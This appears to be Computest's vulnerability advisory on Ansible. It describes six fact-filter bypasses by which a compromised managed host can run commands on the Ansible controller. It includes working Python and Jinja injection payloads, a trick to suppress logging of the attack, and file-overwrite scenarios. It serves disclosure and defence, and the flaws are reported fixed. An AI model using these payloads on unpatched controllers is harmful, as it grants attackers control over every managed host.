During a summary code review of Ansible, Computest found and exploited several issues that allow a compromised host to execute commands on the Ansible controller and thus gain access to the other hosts controlled by that controller.

This was not a full audit and further issues may or may not be present.

About Ansible

“Ansible is an open-source automation engine that automates cloud provisioning, configuration management, and application deployment. Once installed on a control node, Ansible, which is an agentless architecture, connects to a managed node through the default OpenSSH connection type.” - wikipedia.org

Technical Background

A big threat to a configuration management system like Ansible, Puppet, Salt Stack and others, is compromise of the central node. In Ansible terms this is called the Controller. If the Controller is compromised, an attacker has unfettered access to all hosts that are controlled by the Controller. As such, in any deployment, the central node receives extra attention in terms of security measures and isolation, and threats to this node are taken even more seriously.

Fortunately for team blue, in the case of Ansible the attack surface of the Controller is pretty small. Since Ansible is agent-less and based on push, the Controller does not expose any services to hosts.

A very interesting bit of attack surface though is in the Facts. When Ansible runs on a host, a JSON object with Facts is returned to the Controller. The Controller uses these facts for various housekeeping purposes. Some facts have special meaning, like the fact ansible_python_interpreter and ansible_connection. The former defines the command to be run when Ansible is looking for the python interpreter, and the second determines the host Ansible is running against. If an attacker is able to control the first fact he can execute an arbitrary command, and if he is able to control the second fact he is able to execute on an arbitrary (Ansible-controlled) host. This can be set to local to execute on the Controller itself.

Because of this scenario, Ansible filters out certain facts when reading the facts that a host returns. However, we have found 6 ways to bypass this filter.

In the scenarios below, we will use the following variables:

PAYLOAD = "touch /tmp/foobarbaz"

# Define some ways to execute our payload.
LOOKUP = "lookup('pipe', '%s')" % PAYLOAD
INTERPRETER_FACTS = {
    # Note that it echoes an empty dictionary {} (it's not a format string).
    'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD,
    'ansible_connection': 'local',
    # Become is usually enabled on the remote host, but on the Ansible
    # controller it's likely password protected. Disable it to prevent
    # password prompts.
    'ansible_become': False,
}

Bypass #1: Adding a host

Ansible allows modules to add hosts or update the inventory. This can be very useful, for instance when the inventory needs to be retrieved from a IaaS platform like as the AWS module does.

If we’re lucky, we can guess the inventory_hostname, in which case the host_vars are overwritten and they will be in effect at the next task. If host_name doesn’t match inventory_hostname, it might get executed in the play for the next hostgroup, also depending on the limits set on the commandline.

# (Note that when data["add_host"] is set,
# data["ansible_facts"] is ignored.)
data['add_host'] = {
    # assume that host_name is the same as inventory_hostname
    'host_name': socket.gethostname(),
    'host_vars': INTERPRETER_FACTS,
}

lib/ansible/plugins/strategy/__init__.py#L447

Bypass #2: Conditionals

Ansible actions allow for conditionals. If we know the exact contents of a when clause, and we register it as a fact, a special case checks whether the when clause matches a variable. In that case it replaces it with its contents and evaluates them.

# Known conditionals, separated by newlines
known_conditionals_str = """
ansible_os_family == 'Debian'
ansible_os_family == "Debian"
ansible_os_family == 'RedHat'
ansible_os_family == "RedHat"
ansible_distribution == "CentOS"
result|failed
item > 5
foo is defined
"""
known_conditionals = [x.strip() for x in known_conditionals_str.split('\n')]
for known_conditional in known_conditionals:
    data['ansible_facts'][known_conditional] = LOOKUP

Bypass #3: Template injection in stat module

The template module/action merges its results with those of the stat module. This allows us to bypass the stripping of magic variables from ansible_facts, because they’re at an unexpected location in the result tree.

data.update({
    'stat': {
        'exists': True,
        'isdir': False,
        'checksum': {
            'rc': 0,
            'ansible_facts': INTERPRETER_FACTS,
        },
    }
})

lib/ansible/plugins/action/template.py#L39
lib/ansible/plugins/action/template.py#L49
lib/ansible/plugins/action/template.py#L146
lib/ansible/plugins/action/__init__.py#L678

Bypass #4: Template injection by changing jinja syntax

Remote facts always get quoted. set_fact unquotes them by evaluating them. UnsafeProxy was designed to defend against unquoting by transforming jinja syntax into jinja comments, effectively disabling injection.

Bypass the filtering of {{ and {% by changing the jinja syntax. The {{}} is needed to make it look like a variable. This works against:

- set_fact: foo="{{ansible_os_family}}"
- command: echo "{{foo}}

data['ansible_facts'].update({
    'exploit_set_fact': True,
    'ansible_os_family': "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe', '" + PAYLOAD  + "')]]",
})

Bypass #5: Template injection in dict keys

Strings and lists are properly cleaned up, but dictionary keys are not. This works against:

- set_fact: foo="some prefix {{ansible_os_family}} and/or suffix"
- command: echo "{{foo}}

The prefix and/or suffix are needed in order to turn the dict into a string, otherwise the value would remain a dict.

data['ansible_facts'].update({
    'exploit_set_fact': True,
    'ansible_os_family': { "{{ %s }}" % LOOKUP: ''},
})

Bypass #6: Template injection using safe_eval

There’s a special case for evaluating strings that look like a list or dict. Strings that begin with { or [ are evaluated by safe_eval. This allows us to bypass the removal of jinja syntax: we use the whitelisted Python to re-create a bit of Jinja template that is interpreted.

This works against:

- set_fact: foo="{{ansible_os_family}}"
- command: echo "{{foo}}

data['ansible_facts'].update({
    'exploit_set_fact': True,
    'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP,
})

Issue: Disabling verbosity

Verbosity can be set on the controller to get more debugging information. This verbosity is controlled through a custom fact. A host however can overwrite this fact and set the verbosity level to 0, hiding exploitation attempts.

data['_ansible_verbose_override'] = 0

lib/ansible/plugins/callback/default.py#L99
lib/ansible/plugins/callback/default.py#L208

Issue: Overwriting files

Roles usually contain custom facts that are defined in defaults/main.yml, intending to be overwritten by the inventory (with group and host vars). These facts can be overwritten by the remote host, due to the variable precedence. Some of these facts may be used to specify the location of a file that will be copied to the remote host. The attacker may change it to /etc/passwd. The opposite is also true, he may be able to overwrite files on the Controller. One example is the usage of a password lookup with where the filename contains a variable.

Mitigation

Computest is not aware of mitigations short of installing fixed versions of the software.

Resolution

Ansible has released new versions that fix the vulnerabilities described in this advisory: version 2.1.4 for the 2.1 branch and 2.2.1 for the 2.2 branch.

Conclusion

The handling of Facts in Ansible suffers from too many special cases that allow for the bypassing of filtering. We found these issues in just hours of code review, which can be interpreted as a sign of very poor security. However, we don’t believe this is the case.

The attack surface of the Controller is very small, as it consists mainly of the Facts. We believe that it is very well possible to solve the filtering and quoting of Facts in a sound way, and that when this has been done, the opportunity for attack in this threat model is very small.

Furthermore, the Ansible security team has been understanding and professional in their communication around this issue, which is a good sign for the handling of future issues.

Timeline

2016-12-08 First contact with Ansible security team
2016-12-09 First contact with Redhat security team (secalert@redhat.com)
2016-12-09 Submitted PoC and description to security@ansible.com
2016-12-13 Ansible confirms issue and severity
2016-12-15 Ansible informs us of intent to disclose after holidays
2017-01-05 Ansible informs us of disclosure date and fix versions
2017-01-09 Ansible issues fixed version\